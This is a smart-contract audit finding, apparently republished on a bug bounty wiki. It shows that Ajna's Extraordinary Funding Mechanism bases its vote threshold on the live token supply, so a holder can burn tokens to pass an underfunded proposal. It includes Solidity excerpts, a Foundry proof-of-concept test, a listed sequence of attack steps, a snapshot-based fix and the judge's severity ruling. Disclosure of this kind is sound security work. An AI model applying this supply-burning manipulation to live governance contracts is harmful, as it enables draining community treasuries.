The voting thresholds in Ajna’s Extraordinary Funding Mechanism can be manipulated to execute proposals below the expected threshold
The voting threshold for Ajna's Extraordinary Funding Mechanism is calculated from the current total token supply, so a large token holder can burn their own tokens to lower the threshold and pass a proposal that would otherwise fail. This could allow them to withdraw more funds from the treasury than the community actually approved.
Submitted by bytes032, also found by Ruhum, ktg, and 7siech
This vulnerability presents a significant risk to the Ajna treasury. A malicious actor who owns a substantial amount of tokens could manipulate the voting mechanism by burning their own tokens, thereby lowering the minimum threshold of votes required for a proposal to pass.
This tactic could allow him to siphon off substantial amounts from the treasury.
Proof of Concept
By meeting a certain quorum of non-treasury tokens, token holders may take tokens from the treasury outside of the PFM by utilizing Extraordinary Funding Mechanism (EFM).
This mechanism works by allowing up to the percentage over 50% of non-treasury tokens (the “minimum threshold”) that vote affirmatively to be removed from the treasury – the cap on this mechanism is therefore 100% minus the minimum threshold (50% in this case).
Examples:
- If 51% of non-treasury tokens vote affirmatively for a proposal, up to 1% of the treasury may be withdrawn by the proposal
- If 65% of non-treasury tokens vote affirmatively for a proposal, up to 15% of the treasury may be withdrawn by the proposal
- If 50% or less of non-treasury tokens vote affirmatively for a proposal, 0% of the treasury may be withdrawn by the proposal
When submitting a proposal, the proposer must include the exact percentage of the treasury they would like to extract (“proposal threshold”), if the vote fails to reach this threshold, it will fail, and no tokens will be distributed.
Example: a. A proposer requests 10% of the treasury
- 50%+10%=60%
- If 65% of non-treasury tokens vote affirmatively, 10% of the treasury is released
- If 59.9% of non-treasury tokens vote affirmatively, 0% of the treasury is released
The function that checks the conditions above are true, and the proposal has succeeded is _extraordinaryProposalSucceeded.
function _extraordinaryProposalSucceeded(
uint256 proposalId_,
uint256 tokensRequested_
) internal view returns (bool) {
uint256 votesReceived = uint256(_extraordinaryFundingProposals[proposalId_].votesReceived);
// @audit-info check _getMinimumThresholdPercentage() function
uint256 minThresholdPercentage = _getMinimumThresholdPercentage();
return
// succeeded if proposal's votes received doesn't exceed the minimum threshold required
// @audit-info check _getSliceOfNonTreasury() function
(votesReceived >= tokensRequested_ + _getSliceOfNonTreasury(minThresholdPercentage))
&&
// succeeded if tokens requested are available for claiming from the treasury
(tokensRequested_ <= _getSliceOfTreasury(Maths.WAD - minThresholdPercentage))
;
}
The vulnerability here lies in the _getSliceOfNonTreasury() function.
function _getSliceOfNonTreasury(
uint256 percentage_
) internal view returns (uint256) {
uint256 totalAjnaSupply = IERC20(ajnaTokenAddress).totalSupply();
// return ((ajnaTotalSupply - treasury) * percentage + 10**18 / 2) / 10**18;
return Maths.wmul(totalAjnaSupply - treasury, percentage_);
}
The reason is that it relies on the current total supply and AjnaToken inherits ERC20Burnable, a malicious user can burn his tokens to lower the minimum threshold needed for votes and make the proposal pass.
Bob, a token holder, owns 10% of the Ajna supply. He creates a proposal where he requests 20% of the treasury. For his proposal to pass, Bob needs to gather 70% of the votes (50% as the threshold because there are no other funded proposals yet and an additional 20% for the tokens he requested). Unfortunately, Bob only manages to acquire 61% of the total votes.
function _getMinimumThresholdPercentage() internal view returns (uint256) {
// default minimum threshold is 50
if (_fundedExtraordinaryProposals.length == 0) {
return 0.5 * 1e18;
}
// minimum threshold increases according to the number of funded EFM proposals
else {
// @audit-info 10 proposals max
return 0.5 * 1e18 + (_fundedExtraordinaryProposals.length * (0.05 * 1e18));
}
}
return
// 70% 20%
(votesReceived >= tokensRequested_
50%
+ _getSliceOfNonTreasury(minThresholdPercentage))
&&
// succeeded if tokens requested are available for claiming from the treasury
(tokensRequested_ <= _getSliceOfTreasury(Maths.WAD - minThresholdPercentage))
;
Bob then burns 10% of his own tokens. This action reduces the total supply and, consequently, the threshold too. Now, the proposal needs only 61% to pass, and since Bob already has this percentage, he can execute his proposal and siphon off funds from the treasury.
Here’s a PoC that can be used to showcase the issue:
For the ease of use, please add a console.log to the _extraordinaryProposalSucceeded function
function _extraordinaryProposalSucceeded(
uint256 proposalId_,
uint256 tokensRequested_
) internal view returns (bool) {
uint256 votesReceived = uint256(_extraordinaryFundingProposals[proposalId_].votesReceived);
uint256 minThresholdPercentage = _getMinimumThresholdPercentage();
+ console.log("tokensNeeded", tokensRequested_ + _getSliceOfNonTreasury(minThresholdPercentage));
return
// 50k 30k // 50k
(votesReceived >= tokensRequested_ + _getSliceOfNonTreasury(minThresholdPercentage))
&&
// succeeded if tokens requested are available for claiming from the treasury
(tokensRequested_ <= _getSliceOfTreasury(Maths.WAD - minThresholdPercentage))
;
}
function testManipulateSupply() external {
// 14 tokenholders self delegate their tokens to enable voting on the proposals
_selfDelegateVoters(_token, _votersArr);
vm.roll(_startBlock + 100);
// set proposal params
uint256 endBlockParam = block.number + 100_000;
// generate proposal targets
address[] memory targets = new address[](1);
targets[0] = address(_token);
// generate proposal values
uint256[] memory values = new uint256[](1);
values[0] = 0;
// generate proposal calldata
bytes[] memory calldatas = new bytes[](1);
calldatas[0] = abi.encodeWithSignature(
"transfer(address,uint256)",
_tokenHolder1,
50_000_001 * 1e18
);
// create and submit proposal
TestProposalExtraordinary memory testProposal = _createProposalExtraordinary(
_grantFund,
_tokenHolder1,
endBlockParam,
targets,
values,
calldatas,
"Extraordinary Proposal for Ajna token transfer to tester address"
);
vm.roll(_startBlock + 150);
uint256 votingWeight = _grantFund.getVotesExtraordinary(_tokenHolder2, testProposal.proposalId);
changePrank(_tokenHolder2);
_grantFund.voteExtraordinary(testProposal.proposalId);
uint256 totalSupply = _token.totalSupply();
address bob = makeAddr("bob");
changePrank(_tokenDeployer);
_token.transfer(bob, _token.balanceOf(_tokenDeployer));
changePrank(bob);
_token.burn(_token.balanceOf(bob));
vm.roll(_startBlock + 217_000);
_grantFund.state(testProposal.proposalId);
}
Running the test with Bob burning tokens
uint256 totalSupply = _token.totalSupply();
address bob = makeAddr("bob");
changePrank(_tokenDeployer);
_token.transfer(bob, _token.balanceOf(_tokenDeployer));
changePrank(bob);
_token.burn(_token.balanceOf(bob));
Yields the following result:
Whereas if we remove the burning, the tokens needed are increased
- uint256 totalSupply = _token.totalSupply();
- address bob = makeAddr("bob");
- changePrank(_tokenDeployer);
- _token.transfer(bob, _token.balanceOf(_tokenDeployer));
- changePrank(bob);
- _token.burn(_token.balanceOf(bob));
Recommended Mitigation Steps
To mitigate this vulnerability, consider implementing a mechanism that uses a snapshot of the total supply at the time of proposal submission rather than the current total supply. This change will prevent the threshold from being manipulated by burning tokens.
MikeHathaway (Ajna) acknowledged
Picodes (judge) decreased severity to Medium and commented:
Considering that:
- it is within the design of the grant system that the threshold is computed at the end of the voting period to account for potential parallel proposals and changes in the external supply
- however, this finding shows how large holders could significantly increase their voting power to pass an extraordinary proposal and to a significant extent manipulate the vote
I think this report and its duplicate qualify for Medium severity under “hypothetical attack path with stated assumptions, but external requirements”
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The threshold calculation uses the current total token supply instead of a snapshot from when the proposal was submitted, allowing supply manipulation by burning tokens.
Impact
A large token holder could pass an extraordinary funding proposal with fewer votes than intended and withdraw more treasury funds than the community approved.
What the attacker needed
Own a large amount of Ajna tokens; be able to create a proposal; have enough votes to meet the reduced threshold
The fix
The threshold should be calculated using a snapshot of the total supply at the time of proposal submission, not the current supply.
How it was found
- Create a proposal requesting a certain percentage of the treasury.
- Gather votes that are below the required threshold.
- Burn a portion of your own tokens to reduce the total supply.
- The threshold decreases, and the proposal now passes with the same votes.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
In this system, a proposal needs a certain percentage of votes to pass. That percentage is based on how many tokens exist at the time of voting. If someone burns their own tokens, the total number of tokens goes down, so the required percentage also goes down. A big holder can use this to make their proposal pass with fewer votes than intended.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.